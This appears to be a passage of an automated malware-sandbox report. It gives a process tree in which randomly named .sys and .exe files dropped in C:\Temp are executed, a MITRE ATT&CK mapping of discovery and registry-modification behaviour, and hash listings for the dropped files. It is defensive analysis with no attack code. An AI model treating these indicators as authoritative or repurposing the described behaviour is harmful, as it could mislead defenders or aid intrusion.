      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4844,i,16207042658613475764,14274381351802398888,262144 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:10
      4⤵
      PID:3640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5016,i,10195404794736687159,1931729619462372363,524288 --field-trial-handle=2396,i,13447908771738077618,8341962897419800213,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
      4⤵
      PID:1540

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:712

C:\Temp\jdbvtolgeywqoige.sys
C:\Temp\jdbvtolgeywqoige.sys
1⤵
- Executes dropped EXE
PID:4876

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5252

C:\Temp\tqoigbytql.sys
C:\Temp\tqoigbytql.sys
1⤵
- Executes dropped EXE
PID:3180

C:\Temp\avsqlidbvt.sys
C:\Temp\avsqlidbvt.sys
1⤵
- Executes dropped EXE
PID:4352

C:\Temp\spnifaysqk.sys
C:\Temp\spnifaysqk.sys
1⤵
- Executes dropped EXE
PID:200

C:\Temp\snkfdxusmk.sys
C:\Temp\snkfdxusmk.sys
1⤵
- Executes dropped EXE
PID:5504

C:\Temp\hfcausmkec.sys
C:\Temp\hfcausmkec.sys
1⤵
- Executes dropped EXE
PID:5800

C:\Temp\zurmkecwuo.sys
C:\Temp\zurmkecwuo.sys
1⤵
- Executes dropped EXE
PID:3544

C:\Temp\bzwurmkebz.sys
C:\Temp\bzwurmkebz.sys
1⤵
- Executes dropped EXE
PID:5412

C:\Temp\ebztrljebw.sys
C:\Temp\ebztrljebw.sys
1⤵
- Executes dropped EXE
PID:5588

C:\Temp\jdbvtnljgb.sys
C:\Temp\jdbvtnljgb.sys
1⤵
- Executes dropped EXE
PID:3876

C:\Temp\qligayvtnl.sys
C:\Temp\qligayvtnl.sys
1⤵
- Executes dropped EXE
PID:3432

C:\Temp\igaxvtnlfd.sys
C:\Temp\igaxvtnlfd.sys
1⤵
PID:5944

C:\Temp\cxvpnkfdxv.sys
C:\Temp\cxvpnkfdxv.sys
1⤵
PID:4128

C:\Temp\upnhfzxrpn.sys
C:\Temp\upnhfzxrpn.sys
1⤵
PID:5884

C:\Temp\ecwuspjhbz.sys
C:\Temp\ecwuspjhbz.sys
1⤵
PID:5084

C:\Temp\hbzurmkecw.sys
C:\Temp\hbzurmkecw.sys
1⤵
PID:2940

C:\Temp\ojgbzwromj.sys
C:\Temp\ojgbzwromj.sys
1⤵
PID:5628

C:\Temp\dbwtolgeyw.sys
C:\Temp\dbwtolgeyw.sys
1⤵
PID:264

C:\Temp\ljdbvtnlid.sys
C:\Temp\ljdbvtnlid.sys
1⤵
PID:3092

C:\Temp\qkidavtnlf.sys
C:\Temp\qkidavtnlf.sys
1⤵
PID:200

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

avsqlidbvt.sys

Path C:\Temp\avsqlidbvt.sys
Size 293KB
SHA256 71451540d23b314708fb47942e4fdc4b18144e06d275017c5f861e6a7582e66a
MD5 b674d4001ea6a6b76d043c6713f039f5
SHA1 a46e73864af39cc7fe3a92f267ec0b1fd7dabed2
SHA512 356662a10b39d0a5290b36d9c0d332b96490701e3afa795e753cf45cd790537c54813342a6a95523c5208157b272924db5a90cdf346402753eefcd9cf1cf2bac
SSDEEP 3072:otKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:oIJjiJcbI03GBc3ucY5DCSj
TLSH
T137545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hfcausmkec.sys

Path C:\Temp\hfcausmkec.sys
Size 293KB
SHA256 f9afe3d7c21c2fa3e483f53b16641a4c31d3d6f6472c7693559070b199ef0bcd
MD5 08ab04b2665709615b45ca3376e9d643
SHA1 4f84b7491b4023443a26ad67f1566727853362e7
SHA512 6a039eb7f4e908838de88f1a5c0e338a0433cf9186278edcbe1504257d34b2ef6a1457319115b89dc83425777da475718b622ba45788c9111e3993030c04761c
SSDEEP 3072:VtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:VIJjiJcbI03GBc3ucY5DCSj
TLSH
T13C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nhfcauspnk.exe

Path C:\Temp\i_nhfcauspnk.exe
Size 376KB
SHA256 f7108aafea64cc1ebe367f89e36260e82599b73e92c4c385e28159fc273093e8
MD5 1d4144841f2e91cd3ef8c94cdb175d00
SHA1 9eac47a6308a3e6b790d60245aa54392034ef70c
SHA512 4300cce7f30e9a0a19dc3d19ef3d476721093c3609a7ae9737c3558f756271069d10e119b3022998f59f88f6b3904d6d732c5f3655a2928164f629df8f56b5bb
SSDEEP 3072:4FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:4FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T11D847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nkicxsqkif.exe

Path C:\Temp\i_nkicxsqkif.exe
Size 376KB
SHA256 b91b231f2d3269fe10a3b4632169dc86d90edb918f97df1cdb8ea3d0a7a9f009
MD5 089fe720847734b479fde0fcf060bed7
SHA1 6e82043b2e207d6117e91fb72645ee1bb922e853
SHA512 2df06137979ba1b681c48b535c5d20f35a7de87c96617cdf6dd9d288ebfc0c662a2007778ec9858a048734eeaf0989b9a4f77b4d8e398074a090297923855b60
SSDEEP 3072:sFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:sFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12D847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_omjdbwtomg.exe

Path C:\Temp\i_omjdbwtomg.exe
Size 376KB
SHA256 cd9026c930c919098a253a091635f8af5bee2ca58e49bc11faf98ab02aef8e15
MD5 67e66f261ed013037af934412651cd7e
SHA1 7cacccf3febf951636e7ef861435e594e161886a
SHA512 83a42069ea5a49e4a1bfec4e5efcc354a4337b5b7c0216acfdfb712bcbbfc9a0add57837d39add80113214886015e0bdd907ae0c37a775d6263edcd916005696
SSDEEP 3072:cFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:cFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T165847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qnlidavsnl.exe

Path C:\Temp\i_qnlidavsnl.exe
Size 376KB
SHA256 10c775a380b73f250c4703e133c18d014100066d0d8793f01c53e8f1f2ef9cab
MD5 6e1d4196669afbdee15edcc9a203326b
SHA1 eacb840cca53b4c52a38dc93cb588cd60f057f92
SHA512 876b99494128d5824b457c6cd7384da4db10a6a116fe7f6cd7a8a65e8bf73397c67083dafad51accecef5a77f15cb3dc7045cc6fb27aabddff3a840c50da6fa0
SSDEEP 3072:TFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:TFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19A847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigaysqid.exe

Path C:\Temp\i_qoigaysqid.exe
Size 376KB
SHA256 fdaab8cee7d31ac03432146aac7aa80e5fd47bc43986385e72cf1ce23da8bcba
MD5 b00af8189be714316017a48ffec21019
SHA1 5e5da23c0173828f783ba10abe1a9d42959141ec
SHA512 8f7d2931317ff502bfabc5089fd11aa75a4596f46a7c5ee7801ebe6fc4f6b007194b35ab0a0e10931b7218461f03f46b4122c31624c419cbe390ba7a600bafb2
SSDEEP 3072:ADFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLZ:IFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T153847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbvtolgeywqoige.exe

Path C:\Temp\jdbvtolgeywqoige.exe
Size 376KB
SHA256 88f81d5111e633e8369b1d60feb5fbd84ed265e54c26c909d1dbe276866b5889
MD5 e5282f2c55ed949cf7b9eb9d659ea4e7
SHA1 46ffdc98ab39db787022693adf4847840bb302d2
SHA512 b16e1f2e905375a2169f4cdf893f2297a8ef42e301f1176c1df25078f8d70583efe8dc2269051d2c206d9a24f88a7c23ffd44d81ac7f0456d4780913cecd0712
SSDEEP 3072:eFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:eFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T190847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jdbvtolgeywqoige.sys

Path C:\Temp\jdbvtolgeywqoige.sys
Size 293KB
SHA256 8dc3a2d74d53c243d942e90cdcf12372723b0a71b066fd5d2817fa3c21795045
MD5 52b4fe9a96d3927197231784235db80a
SHA1 0788741f43f50af8a055c330c27ddbd9e1582746
SHA512 0de07452cfd326915bcaf91a3aeca81efbc63ababbd3967875590d6cb03e91116dfcd701320afaf1c5833c42ec26418b4bde615666675973031b306525251477
SSDEEP 3072:UtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:UIJjiJcbI03GBc3ucY5DCSj
TLSH
T136545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

khcxupmhec.exe

Path C:\Temp\khcxupmhec.exe
Size 376KB
SHA256 c26c05aaf14043681cb922bd37157d63f40bf9edc2398271206934f5790c3f2d
MD5 5de8ad4e8f0b373d5e9c252b9353fb8d
SHA1 8d8b9783eeca415a521a6daf111f41830469c9f5
SHA512 d8f08aa0962cec32abe183d393c537849b3f031233639224e3baaeae8daad4aea1738a29c413028e2f54184c546d928976392b2394ba7fc82ce0173b5d37d492
SSDEEP 3072:dFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:dFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15D847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nhfcauspnk.exe

Path C:\Temp\nhfcauspnk.exe
Size 376KB
SHA256 75da48b268a6728132ad975bae0acf16566bd1e376675ea43f38facf01e273e7
MD5 edea2e011c9bb9ef90234e7166f7cb8b
SHA1 50124a3cf82957834310b06abb2dbd5ff2c8d98c
SHA512 b418ac39170e8c35504a6af9ad385da26cbf727092b991d571a9c5e9e9bdf19013455861a2e9ec39294b500d2d898ea3c3ecd51664a1dbc05650f9bd715d56d6
SSDEEP 3072:gFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:gFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1EA847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nkicxsqkif.exe

Path C:\Temp\nkicxsqkif.exe
Size 376KB
SHA256 b0c30b385ae2a1d0838aebc7c573b80a6435569d4ed17a68013df046e04c5dd0
MD5 991ae50ce1f6aec5fc3706d7afa06c55
SHA1 44dc87dfa95f22cdf2ee421933e5924d89a65b32
SHA512 98020cff007bdff4f2fbcbed3f49e2f3ca3b18718e4b9617f66dcab3841001841b4026ae5a8915582179e9c2c850d7c8c66dc4390131a90a2e1806e98e5820cb
SSDEEP 3072:0FLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:0FL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T167847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

omjdbwtomg.exe

Path C:\Temp\omjdbwtomg.exe
Size 376KB
SHA256 f80fa4e55768994a92bd36c1d9c56cbfc647ca328fdc02e9623a0f108c657e81
MD5 e80f8d4f0173d7c4201e3827d4fb51cd
SHA1 efe48bb3c09ffb8a6d489f193284652be770496b
SHA512 4d2aff915416b99e57f86f0784970072eac087423c33c7bb767777612fa4463af2235d6c136aea89a01e0351df4f88eb21b9aec2e0e455c6fd14103a3c6b0aab
SSDEEP 3072:mFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:mFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T11A847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qnlidavsnl.exe

Path C:\Temp\qnlidavsnl.exe
Size 376KB
SHA256 a64cc1b767bd4c631d58eac8cce39f02b637ad2d27a9d83623083fa73452a901
MD5 267d072cda7352d9d474d312998ea30d
SHA1 fe595fb6828d69d1f1124df82279ab27e96c9273
SHA512 7b4488167b00bd57c979350d210cd58282843bea5c6ca8bad37fb7ea75dfa325a4f27bf2b51831e11195d4fcc4c8627c4c1bdcaf5bfba5bab969a997b776cc32
SSDEEP 3072:MFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:MFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1DB847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigaysqid.exe

Path C:\Temp\qoigaysqid.exe
Size 376KB
SHA256 509c651ac1aa18e057c7261e18ce292f4355e31ec513b44b3bd86583638a0e71
MD5 870670a0d2510064d7da36d07bc3ebf6
SHA1 aa2ab9d06f73a621902387ae0f20ab4cc71a2ce3
SHA512 e676353566d4cfb2c436598777c0ef1d4cb88df16eb8045de7e30d88d93efdcca47eef26f5fee4cc12d176834618561956fe43b5d2560859da00dc7e33596c24
SSDEEP 3072:pFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:pFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T166847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snkfdxusmk.sys

Path C:\Temp\snkfdxusmk.sys
Size 293KB
SHA256 5749f0dc77939900f458f3574952c3ef3de444e7618ec282e8a1bf7850d5433c
MD5 45b884dc8a891a2b9596068708712fd3
SHA1 80da9108c0f9bc03b993b414f95ebcbdcc339c2d
SHA512 8bae4cfe1c7a0a3bc203fc01ac59593a07458a34564ab8254177905cf3d0d8341d0db6e5257476456f9d63fc312ad4dfa2a3526763130d2ff8914cdc96d07462
SSDEEP 3072:HtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:HIJjiJcbI03GBc3ucY5DCSj
TLSH
T180545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spnifaysqk.sys

Path C:\Temp\spnifaysqk.sys
Size 293KB
SHA256 51e8b8228307fdba83edc96e772b235b90916f9b2bfb42d3e11e2c6b9b4790c7
MD5 272e4f720a5fe536361a7ee2e7d19a1f
SHA1 b6eef0299d7bc689e87f5807ccb3f688fb5803d4
SHA512 4a5d0d4da6ed8733f5da3a95379edc3811990ded0cf5cc2b2b87d5cf58d91569bbc19463278e317d1acb8d4cba087e7e7acdcee3cb52d56a98ec007a4fa0eecb
SSDEEP 3072:NtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:NIJjiJcbI03GBc3ucY5DCSj
TLSH
T1BD545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tqoigbytql.sys

Path C:\Temp\tqoigbytql.sys
Size 293KB
SHA256 a0880ab9e4c3233692bad022ac0d7d640f76fb66136e8b205ef6fc8825950a21
MD5 b468e521854794881bf34ab38a4f3aa4
SHA1 d2c776b6f3b3484f1753f994f459ca81bc23dbfc
SHA512 206993fe434bd316d6f0ee8c6279c837ff63d3f6363f23bfa73049a0d97de2a6253053b72bdca197e6b1d5a4f7a5323375d0a7f3c1c7735cc137c5cf35ec7980
SSDEEP 3072:qtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:qIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A4545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e75f270f1371188bd7f350113eee1f4d141652add7af8e5f7af0ab47dac6d1f2
MD5 e0e7da4c84e8882b494037c575bd294c
SHA1 04d43c383ac5d232ee362aad151519414dc6db2b
SHA512 70d9ca23de3befb782d3d04a586490c626e7c63ad00fac39b0fd9adeae2c1d8413a5d2474e847fabb4f48bbf1384f1fcd10e67765d21ed94ac67795b274b3c2e
TLSH
T122D09294BB60A90CCC81B0322AE66355BA1598A1182D868900A5F07A9CA8AC246179AF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e35119268ad2455b6ec4314361db946ee09b095b28e62d25bbd7542d6be959b9
MD5 5c633da04aeb5bea485c08ea28f57d24
SHA1 1c5287022e764ef0bb6d895cd993be007ab68eba
SHA512 341697613439896bbdc5bae2e067bf2b52fd4ee959460166157f5fcf5f0647d000c9824a7394abad2ea244ee761164649972236a37dd919e413ac011474bb4b7
TLSH
T12DD09B947B50A50CCC41703229E5535579155461581D45450055F0799C646C246175BF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 2066f0894aa17d6b2a75efbebf9cca364dcc36c4ef196dc1f4069796c3e94e77
MD5 bb830f4125302d0966837f29884bf710
SHA1 07d574556a6dd583cffe2b69d25b9f3d31bbf43f
SHA512 e1fd5a6bf3eb5fa63725716d23830e91cb274c387190b9f7987a578d89a968854daa018cbc79874608f6c95b5cfaaa92bed01b3095879804a85b6d031baae884
TLSH
T1C45140470BBAC9E2E739A476B7E1AE9D3BF08095660F6B1140597E34C806F1753D0663
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59bced.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59bced.TMP
Size 2KB
SHA256 c7bc3617a52d8818569904d621831fb5a4f3721d98ceb3b8c7732ea89416b5c1
MD5 a1d10c0067a00f0141d5c7f0fbaae9dc
SHA1 7e44bd1598e25d1b706c1e10c2e1d0055872a523
SHA512 f19b39c6f3aeac9913d684c2a89641ec6e8566e4bc1086ad1fc149426bcddd3c2d62e43916490a099ebeb99c94fd239ca66c78f146292d43d36a042a3734595a
TLSH
T116515E030BBAC9E2E739A476B7E1AE9D3BF08099660FAB1140497E34C806F1757D0663
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a62a447daf20ae80148bcfb819afac834350ed56f246e52359244110e3678c31
MD5 cca8ab1c411e16012e925f3f7ef58495
SHA1 4aa017c0b6b8b4b5a1683497335f8f2907e05069
SHA512 717da2af465bcecb6e7f6ed76efb1fa1aeb80f7ea4edaeaee8e0f9bff39cb11933b9272eac348454aa32ff3eb6422f37c801bc1d5e5527a6d84ca8e8ddb5c3f2
TLSH
T1FD419DF783F4856E8A0195F0AA146E2BCE2D0515432C7D5A89E4AE2B93E3461E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 b58a7927479add74673389aa522227310ea0e2b9752937e28e832219fb849f57
MD5 cfc7dc112b6ff4adaec97cbfc4f4052e
SHA1 cb271951ef9414f55d18899b4c4e6b703273a9b5
SHA512 36e1833cee57a22204bcab80f800ac65d6c4bdcd9ba09382bb8ca9d2e0affecbfeed2abe3a5d37bdb13132d1ce7be44f19593ea8db0af963e6a41d8e44a4ea05
SSDEEP 192:sxRHsRqCd/fosIfFrZZwqnuzoA8p9i/g6+WNCOw/YEVViKjGeIgVDJ:sxRHsbd/fos+FFZwSw/50/aov
TLSH
T14E42B8156D28A97B4CC7E20DBA25BF63E3F95032A1D15F49AAFC861C04E76DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 61d30732e227b308699980ef0c06ac179ebe5a9bce35b47989bc1490d5259bb3
MD5 c659484aa73048255b0962a13418edca
SHA1 e24a14a6f255aa1ef8cde1c1fd98bdc32f985b7f
SHA512 0aab7c6945ad8eb4782bae9b16fed86ac129a607167d4986f67b932900274ace3b679c55938549ff03093f1aae04a1c0a35b131117d3385155caefb3da01df2a
SSDEEP 192:sxRHbRqCd/fosofFrZZwqnuzoA8p9i/g6+WNCOw/YEVViKjGeIgDuDJ:sxRHbbd/foseFFZwSw/50/aoa
TLSH
T19A42C8166D28A97B4CC7E20DBA65BF63E3F9503291D15F49AAFC861C04E76DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 5d55ff14a98762b19805664d3fe223123e5d10978661442694f079c208b81850
MD5 5e374423e8372d3711e19414d0b04b81
SHA1 ad8cbbf7f623a1f4323a8c2eaf9a3a6372577ef3
SHA512 531cf0af338caf7b1ca709efb6de96a7aa0d5c2ccda5cd40b2a4ba2f70f5964dddcf8c04d1a1f381dcf17866db1cdebdd6df4d6763654637d1b713ee32e0a724
SSDEEP 192:sxRHbRqCd/fosofarZZwqnuzoA8p9i/g6+WNCOw/YEgPViKjGeIgDUDJ:sxRHbbd/foseaFZwSw/50/U4o8
TLSH
T11142C8156D28A97B4CC7E209BA55BF63E3F9503291D15F49AAFC8A1C00E76DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 719beb22befe29a0e35d0468b305aba246da62af4a0fc578b1c3ecbf4b98c505
MD5 a0332d830c3a6fd8fb6c2605ff2ffbe3
SHA1 b897bbd43006585b2edadcd8c51adc1258eef21a
SHA512 111a619ff1f0a113a3053b0ff4af9c73c643da7f46e4da187c4a43f615a20b134c8f3b98602a06c697f51de4eed00764f67cd7264f04fe2efa2e273e626a744c
SSDEEP 768:0UQiVW7pLuL7PaWgH7feQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6E2OVqNroS6W:0UQiV2E7PaWgH7feQu1jalE2Iqmi
TLSH
T18ED2DB7B640DCB7E4F804ADDEC197E9B6DA802CB9598CD8047FA941C03C7BEA51160DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 178f52592234dda75dcdb90a90ac9ee35e6f195a900c0f76fc6ece3cda0596b6
MD5 3aa72dd349c3d9bba7fd2920fe792b37
SHA1 ddf9e18edc6b0a725129da8e4d281ae87f9f9a81
SHA512 ca05dbc02e36910b3802a392373538f496007e2cc23edbe48008caccf595f8edfa9bbbae2b9c415a032002ebf83ade6c45bd13b926fccca1c463e63edad7dd81
SSDEEP 768:Qrv+4UNbdf3VqGWVD06K48dHeByERRFzjK3YAxQeVH1SCj:QbsbJ3QGo+48dHSyw/2xQEH1Z
TLSH
T1FE03BE71A8A85E774CA7D2897683B657BFF4411382C41BA4C5DD6F4E828B4DC130BE2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 fa7ad7db175506f72ccef177116de4e817082413295c6554bab2b030e083f2e4
MD5 158dcc350b4162e73e57d587b58e421b
SHA1 28d55a7d909fd8ead47056dffd9362b0e6d4c273
